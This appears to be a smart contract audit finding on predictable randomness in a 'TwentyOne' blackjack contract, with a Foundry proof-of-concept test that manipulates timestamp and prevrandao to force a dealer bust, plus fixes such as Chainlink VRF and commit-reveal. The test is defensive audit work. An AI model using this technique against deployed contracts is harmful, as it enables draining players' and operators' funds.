Summary
The TwentyOne smart contract contains critical vulnerabilities in its randomness implementation, allowing miners/validators to manipulate game outcomes through MEV (Miner Extractable Value) exploitation.
Vulnerability Details
The contract relies on block.timestamp, msg.sender, and block.prevrandao for randomness generation in two critical functions:
function drawCard(address player) internal returns (uint256) {
uint256 randomIndex = uint256(
keccak256(
abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
)
) % availableCards[player].length;
}
function call() public {
uint256 standThreshold = (uint256(
keccak256(
abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
)
) % 5) + 17;
}
These values are predictable and manipulatable by miners/validators.
Proof of Concept:
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract MEVExploitTest is Test {
TwentyOne public game;
address player = makeAddr("player");
uint256 constant STARTING_BALANCE = 10 ether;
function setUp() public {
game = new TwentyOne();
vm.deal(player, STARTING_BALANCE);
vm.deal(address(game), 10 ether);
}
function testPredictableDealer() public {
uint256 timestamp = 1700000000;
vm.warp(timestamp);
vm.prevrandao(bytes32(0));
uint256 playerBalanceBefore = address(player).balance;
vm.startPrank(player);
uint256 playerHand = game.startGame{value: 1 ether}();
game.call();
vm.stopPrank();
console2.log("Player hand:", playerHand);
console2.log("Balance before:", playerBalanceBefore);
console2.log("Balance after:", address(player).balance);
assertTrue(
address(player).balance > playerBalanceBefore,
"Player should win due to dealer bust"
);
}
}
forge test --match-test "testMEVExploit|testPredictableDealer" -vv
Proof of concept demonstrates:
Winning hand manipulation using timestamp 1700000002
Predictable dealer bust patterns
Consistent profit generation through MEV
Impact
Miners can simulate and choose profitable game outcomes
Players with MEV capabilities can manipulate dealer behavior
Front-running opportunities for guaranteed wins
Potential for systematic draining of contract funds
Tools Used
slither .
aderyn
manuel code review
Recommendations
Replace current randomness with Chainlink VRF:
bytes32 requestId = COORDINATOR.requestRandomWords(
keyHash,
subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
Implement commit-reveal scheme:
function commitMove(bytes32 commitment) external {
commitments[msg.sender] = commitment;
commitmentTimestamps[msg.sender] = block.timestamp;
}
function revealMove(bytes32 seed) external {
require(keccak256(abi.encodePacked(seed)) == commitments[msg.sender]);
require(block.timestamp <= commitmentTimestamps[msg.sender] + REVEAL_WINDOW);
}
Use time-delayed randomness:
Separate game initiation and outcome determination
Use future block hashes as entropy source
Implement minimum waiting period